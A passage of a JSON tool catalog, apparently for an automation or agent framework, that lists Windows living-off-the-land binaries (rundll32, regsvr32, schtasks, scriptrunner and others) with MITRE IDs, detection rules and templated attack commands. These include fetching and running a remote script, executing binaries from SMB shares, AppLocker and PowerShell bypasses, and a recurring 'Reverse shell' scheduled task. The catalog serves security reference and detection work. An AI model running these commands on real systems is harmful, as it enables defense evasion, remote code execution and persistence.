        "description": "Execute code in a DLL. The code must be inside the exported function `DllUnRegisterServer`. (Execute DLL file)",
        "command": "regsvr32.exe /u /s {PATH:.dll}"
      }
    ],
    "execution": {
      "template": "regsvr32",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-execution-regsvr32",
    "install": [
      {
        "method": "choco",
        "package_name": "regsvr32",
        "commands": [
          "choco install regsvr32"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.010"
    ],
    "name": "regsvr32",
    "namespace": "windows:execution:regsvr32",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/"
      },
      {
        "label": "",
        "url": "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/"
      },
      {
        "label": "T1218.010.md",
        "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.010/T1218.010.md"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "defense-evasion",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# remote\n\nremote is a Windows LOLBin. Debugging tool included with Windows Debugging Tools Located at: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\remote.exe; C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\remote.exe.\n",
    "_source": "remote.md",
    "allowed-tools": [
      "remote"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "mr.d0x",
    "capabilities": [
      "security.defense-evasion.bypass",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Debugging tool included with Windows Debugging Tools Located at: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\remote.exe; C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\remote.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "remote.exe process spawns"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_lolbin_remote.yml"
      }
    ],
    "examples": [
      {
        "description": "Spawns specified executable as a child process of remote.exe (Executes a process under a trusted Microsoft signed binary)",
        "command": "Remote.exe /s {PATH:.exe} anythinghere"
      },
      {
        "description": "Spawns specified executable as a child process of remote.exe (Executes a process under a trusted Microsoft signed binary)",
        "command": "Remote.exe /s {PATH:.exe} anythinghere"
      },
      {
        "description": "Run a remote file (Executing a remote binary without saving file to disk)",
        "command": "Remote.exe /s {PATH_SMB:.exe} anythinghere"
      }
    ],
    "execution": {
      "template": "remote",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "remote",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-execution-remote",
    "install": [
      {
        "method": "choco",
        "package_name": "remote",
        "commands": [
          "choco install remote"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "remote",
    "namespace": "windows:execution:remote",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://blog.thecybersecuritytutor.com/Exeuction-AWL-Bypass-Remote-exe-LOLBin/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "defense-evasion",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# reset\n\nreset is a Windows LOLBin. Remote Desktop Services Reset Utility Located at: c:\\windows\\system32\\reset.exe; c:\\windows\\syswow64\\reset.exe.\n",
    "_source": "reset.md",
    "allowed-tools": [
      "reset"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Matan Bahar",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Remote Desktop Services Reset Utility Located at: c:\\windows\\system32\\reset.exe; c:\\windows\\syswow64\\reset.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "reset.exe being executed and executes rwinsta.exe outside of its normal path of c:\\windows\\system32\\ or c:\\windows\\syswow64\\"
      }
    ],
    "examples": [
      {
        "description": "Once executed, `reset.exe` will execute `rwinsta.exe` in the same folder. Thus, if `reset.exe` is copied to a folder and an arbitrary executable is renamed to `rwinsta.exe`, `reset.exe` will spawn it. (Execute an arbitrary executable via trusted system executable.)",
        "command": "reset.exe session"
      }
    ],
    "execution": {
      "template": "reset",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "remote"
    ],
    "global_vars": {},
    "id": "windows-execution-reset",
    "install": [
      {
        "method": "choco",
        "package_name": "reset",
        "commands": [
          "choco install reset"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "reset",
    "namespace": "windows:execution:reset",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# rundll32\n\nrundll32 is a Windows LOLBin. Used by Windows to execute dll files Located at: C:\\Windows\\System32\\rundll32.exe; C:\\Windows\\SysWOW64\\rundll32.exe.\n",
    "_source": "rundll32.md",
    "allowed-tools": [
      "rundll32"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command",
      "system.file.alternate-data-stream"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used by Windows to execute dll files Located at: C:\\Windows\\System32\\rundll32.exe; C:\\Windows\\SysWOW64\\rundll32.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/network_connection/net_connection_win_rundll32_net_connections.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_unusual_network_connection_via_rundll32.toml"
      },
      {
        "type": "ioc",
        "description": "Outbount Internet/network connections made from rundll32"
      },
      {
        "type": "ioc",
        "description": "Suspicious use of cmdline flags such as -sta"
      }
    ],
    "examples": [
      {
        "description": "First part should be a DLL file (any extension accepted), EntryPoint should be the name of the entry point in the DLL file to execute. (Execute DLL file)",
        "command": "rundll32.exe {PATH},EntryPoint"
      },
      {
        "description": "Execute a DLL from an SMB share. EntryPoint is the name of the entry point in the DLL file to execute. (Execute DLL from SMB share.)",
        "command": "rundll32.exe {PATH_SMB:.dll},EntryPoint"
      },
      {
        "description": "Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script. (Execute code from Internet)",
        "command": "rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:{REMOTEURL}\")"
      },
      {
        "description": "Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS). (Execute code from alternate data stream)",
        "command": "rundll32 \"{PATH}:ADSDLL.dll\",DllMain"
      },
      {
        "description": "Use Rundll32.exe to load a registered or hijacked COM Server payload. Also works with ProgID. (Execute a DLL/EXE COM server payload or ScriptletURL code.)",
        "command": "rundll32.exe -sta {CLSID}"
      }
    ],
    "execution": {
      "template": "rundll32",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-execution-rundll32",
    "install": [
      {
        "method": "choco",
        "package_name": "rundll32",
        "commands": [
          "choco install rundll32"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.011",
      "T1564.004"
    ],
    "name": "rundll32",
    "namespace": "windows:execution:rundll32",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://pentestlab.blog/2017/05/23/applocker-bypass-rundll32/"
      },
      {
        "label": "AppLocker_Bypass_Techniques.html#menu_index_7",
        "url": "https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_7"
      },
      {
        "label": "",
        "url": "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/"
      },
      {
        "label": "",
        "url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/"
      },
      {
        "label": "",
        "url": "https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/"
      },
      {
        "label": "obfus.md",
        "url": "https://github.com/sailay1996/expl-bin/blob/master/obfus.md"
      },
      {
        "label": "rundll32.md",
        "url": "https://github.com/sailay1996/misc-bin/blob/master/rundll32.md"
      },
      {
        "label": "a-deep-dive-into-rundll32-exe-642344b41e90",
        "url": "https://nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90"
      },
      {
        "label": "rundll32-the-infamous-proxy-for-executing-maliciou",
        "url": "https://www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# runexehelper\n\nrunexehelper is a Windows LOLBin. Launcher process Located at: c:\\windows\\system32\\runexehelper.exe.\n",
    "_source": "runexehelper.md",
    "allowed-tools": [
      "runexehelper"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Grzegorz Tworek",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Launcher process Located at: c:\\windows\\system32\\runexehelper.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_lolbin_runexehelper.yml"
      },
      {
        "type": "ioc",
        "description": "c:\\windows\\system32\\runexehelper.exe is run"
      },
      {
        "type": "ioc",
        "description": "Existence of runexewithargs_output.txt file"
      }
    ],
    "examples": [
      {
        "description": "Launches the specified exe. Prerequisites: (1) diagtrack_action_output environment variable must be set to an existing, writable folder; (2) runexewithargs_output.txt file cannot exist in the folder indicated by the variable. (Executes arbitrary code)",
        "command": "runexehelper.exe {PATH_ABSOLUTE:.exe}"
      }
    ],
    "execution": {
      "template": "runexehelper",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-runexehelper",
    "install": [
      {
        "method": "choco",
        "package_name": "runexehelper",
        "commands": [
          "choco install runexehelper"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "runexehelper",
    "namespace": "windows:execution:runexehelper",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1206692239839289344",
        "url": "https://twitter.com/0gtweet/status/1206692239839289344"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# runonce\n\nrunonce is a Windows LOLBin. Executes a Run Once Task that has been configured in the registry Located at: C:\\Windows\\System32\\runonce.exe; C:\\Windows\\SysWOW64\\runonce.exe.\n",
    "_source": "runonce.md",
    "allowed-tools": [
      "runonce"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Executes a Run Once Task that has been configured in the registry Located at: C:\\Windows\\System32\\runonce.exe; C:\\Windows\\SysWOW64\\runonce.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/registry/registry_event/registry_event_runonce_persistence.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_runonce_execution.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/2926e98c5d998706ef7e248a63fb0367c841f685/rules/windows/persistence_run_key_and_startup_broad.toml"
      },
      {
        "type": "ioc",
        "description": "Registy key add - HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\YOURKEY"
      }
    ],
    "examples": [
      {
        "description": "Executes a Run Once Task that has been configured in the registry. (Persistence, bypassing defensive counter measures)",
        "command": "Runonce.exe /AlternateShellStartup"
      }
    ],
    "execution": {
      "template": "runonce",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-runonce",
    "install": [
      {
        "method": "choco",
        "package_name": "runonce",
        "commands": [
          "choco install runonce"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "runonce",
    "namespace": "windows:execution:runonce",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "990717080805789697",
        "url": "https://twitter.com/pabraeken/status/990717080805789697"
      },
      {
        "label": "",
        "url": "https://cmatskas.com/configure-a-runonce-task-on-windows/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# runscripthelper\n\nrunscripthelper is a Windows LOLBin. Execute target PowerShell script Located at: C:\\Windows\\WinSxS\\amd64_microsoft-windows-u..ed-telemetry-client_31bf3856ad364e35_10.0.16299.15_none_c2df1bba78111118\\Runscripthelper.exe; C:\\Windows\\WinSxS\\amd64_microsoft-windows-u..ed-telemetry-client_31bf3856ad364e35_10.0.16299.192_none_ad4699b571e00c4a\\Runscripthelper.exe.\n",
    "_source": "runscripthelper.md",
    "allowed-tools": [
      "runscripthelper"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Execute target PowerShell script Located at: C:\\Windows\\WinSxS\\amd64_microsoft-windows-u..ed-telemetry-client_31bf3856ad364e35_10.0.16299.15_none_c2df1bba78111118\\Runscripthelper.exe; C:\\Windows\\WinSxS\\amd64_microsoft-windows-u..ed-telemetry-client_31bf3856ad364e35_10.0.16299.192_none_ad4699b571e00c4a\\Runscripthelper.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_runscripthelper.yml"
      },
      {
        "type": "blockrule",
        "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules"
      },
      {
        "type": "ioc",
        "description": "Event ID 4104 - Microsoft-Windows-PowerShell/Operational"
      },
      {
        "type": "ioc",
        "description": "Event ID 400 - Windows PowerShell"
      }
    ],
    "examples": [
      {
        "description": "Execute the PowerShell script with .txt extension (Bypass constrained language mode and execute Powershell script)",
        "command": "runscripthelper.exe surfacecheck \\\\?\\{PATH_ABSOLUTE:.txt} {PATH_ABSOLUTE:folder}"
      }
    ],
    "execution": {
      "template": "runscripthelper",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system",
      "interactive",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "remote"
    ],
    "global_vars": {},
    "id": "windows-execution-runscripthelper",
    "install": [
      {
        "method": "choco",
        "package_name": "runscripthelper",
        "commands": [
          "choco install runscripthelper"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "runscripthelper",
    "namespace": "windows:execution:runscripthelper",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "bypassing-application-whitelisting-with-runscripth",
        "url": "https://posts.specterops.io/bypassing-application-whitelisting-with-runscripthelper-exe-1906923658fc"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# schtasks\n\nschtasks is a Windows LOLBin. Schedule periodic tasks Located at: c:\\windows\\system32\\schtasks.exe; c:\\windows\\syswow64\\schtasks.exe.\n",
    "_source": "schtasks.md",
    "allowed-tools": [
      "schtasks"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Schedule periodic tasks Located at: c:\\windows\\system32\\schtasks.exe; c:\\windows\\syswow64\\schtasks.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_schtasks_creation.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/ef7548f04c4341e0d1a172810330d59453f46a21/rules/windows/persistence_local_scheduled_task_creation.toml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/schtasks_scheduling_job_on_remote_system.yml"
      },
      {
        "type": "ioc",
        "description": "Suspicious task creation events"
      }
    ],
    "examples": [
      {
        "description": "Create a recurring task to execute every minute. (Create a recurring task to keep reverse shell session(s) alive)",
        "command": "schtasks /create /sc minute /mo 1 /tn \"Reverse shell\" /tr \"{CMD}\""
      },
      {
        "description": "Create a scheduled task on a remote computer for persistence/lateral movement (Create a remote task to run daily relative to the the time of creation)",
        "command": "schtasks /create /s targetmachine /tn \"MyTask\" /tr \"{CMD}\" /sc daily"
      }
    ],
    "execution": {
      "template": "schtasks",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-schtasks",
    "install": [
      {
        "method": "choco",
        "package_name": "schtasks",
        "commands": [
          "choco install schtasks"
        ]
      }
    ],
    "mitre_ids": [
      "T1053.005"
    ],
    "name": "schtasks",
    "namespace": "windows:execution:schtasks",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://isc.sans.edu/forums/diary/Adding+Persistence+Via+Scheduled+Tasks/23633/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# scriptrunner\n\nscriptrunner is a Windows LOLBin. Execute binary through proxy binary to evade defensive counter measures Located at: C:\\Windows\\System32\\scriptrunner.exe; C:\\Windows\\SysWOW64\\scriptrunner.exe.\n",
    "_source": "scriptrunner.md",
    "allowed-tools": [
      "scriptrunner"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Execute binary through proxy binary to evade defensive counter measures Located at: C:\\Windows\\System32\\scriptrunner.exe; C:\\Windows\\SysWOW64\\scriptrunner.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_servu_susp_child_process.yml"
      },
      {
        "type": "ioc",
        "description": "Scriptrunner.exe should not be in use unless App-v is deployed"
      }
    ],
    "examples": [
      {
        "description": "Executes executable (Execute binary through proxy binary to evade defensive counter measures)",
        "command": "Scriptrunner.exe -appvscript {PATH:.exe}"
      },
      {
        "description": "Executes cmd file from remote server (Execute binary through proxy binary from external server to evade defensive counter measures)",
        "command": "ScriptRunner.exe -appvscript {PATH_SMB:.cmd}"
      }
    ],
    "execution": {
      "template": "scriptrunner",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "remote",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-execution-scriptrunner",
    "install": [
      {
        "method": "choco",
        "package_name": "scriptrunner",
        "commands": [
          "choco install scriptrunner"
        ]
      }
    ],
    "mitre_ids": [
      "T1202",
      "T1218"
    ],
    "name": "scriptrunner",
    "namespace": "windows:execution:scriptrunner",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "914800377580503040",
        "url": "https://twitter.com/KyleHanslovan/status/914800377580503040"
      },
      {
        "label": "914234924655312896",
        "url": "https://twitter.com/NickTyrer/status/914234924655312896"
      },
      {
        "label": "Code-Execution",
        "url": "https://github.com/MoooKitty/Code-Execution"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# setres\n\nsetres is a Windows LOLBin. Configures display settings Located at: c:\\windows\\system32\\setres.exe.\n",
    "_source": "setres.md",
    "allowed-tools": [
      "setres"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Grzegorz Tworek",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Configures display settings Located at: c:\\windows\\system32\\setres.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_setres.yml"
      },
      {
        "type": "ioc",
        "description": "Unusual location for choice.exe file"
      },
      {
        "type": "ioc",
        "description": "Process created from choice.com binary"
      },
      {
        "type": "ioc",
        "description": "Existence of choice.cmd file"
      }
    ],
    "examples": [
      {
        "description": "Sets the resolution and then launches 'choice' command from the working directory. (Executes arbitrary code)",
        "command": "setres.exe -w 800 -h 600"
      }
    ],
    "execution": {
      "template": "setres",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-setres",
    "install": [
      {
        "method": "choco",
        "package_name": "setres",
        "commands": [
          "choco install setres"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "setres",
    "namespace": "windows:execution:setres",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1583356502340870144",
        "url": "https://twitter.com/0gtweet/status/1583356502340870144"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# settingsynchost\n\nsettingsynchost is a Windows LOLBin. Host Process for Setting Synchronization Located at: C:\\Windows\\System32\\SettingSyncHost.exe; C:\\Windows\\SysWOW64\\SettingSyncHost.exe.\n",
    "_source": "settingsynchost.md",
    "allowed-tools": [
      "settingsynchost"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Elliot Killick",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Host Process for Setting Synchronization Located at: C:\\Windows\\System32\\SettingSyncHost.exe; C:\\Windows\\SysWOW64\\SettingSyncHost.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_settingsynchost.yml"
      },
      {
        "type": "ioc",
        "description": "SettingSyncHost.exe should not be run on a normal workstation"
      }
    ],
    "examples": [
      {
        "description": "Execute file specified in %COMSPEC% (Can be used to evade defensive countermeasures or to hide as a persistence mechanism)",
        "command": "SettingSyncHost -LoadAndRunDiagScript {PATH:.exe}"
      },
      {
        "description": "Execute a batch script in the background (no window ever pops up) which can be subverted to running arbitrary programs by setting the current working directory to %TMP% and creating files such as reg.bat/reg.exe in that directory thereby causing them to execute instead of the ones in C:\\Windows\\System32. (Can be used to evade defensive countermeasures or to hide as a persistence mechanism. Additionally, effectively act as a -WindowStyle Hidden option (as there is in PowerShell) for any arbitrary batch file.)",
        "command": "SettingSyncHost -LoadAndRunDiagScriptNoCab {PATH:.bat}"
      }
    ],
    "execution": {
      "template": "settingsynchost",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
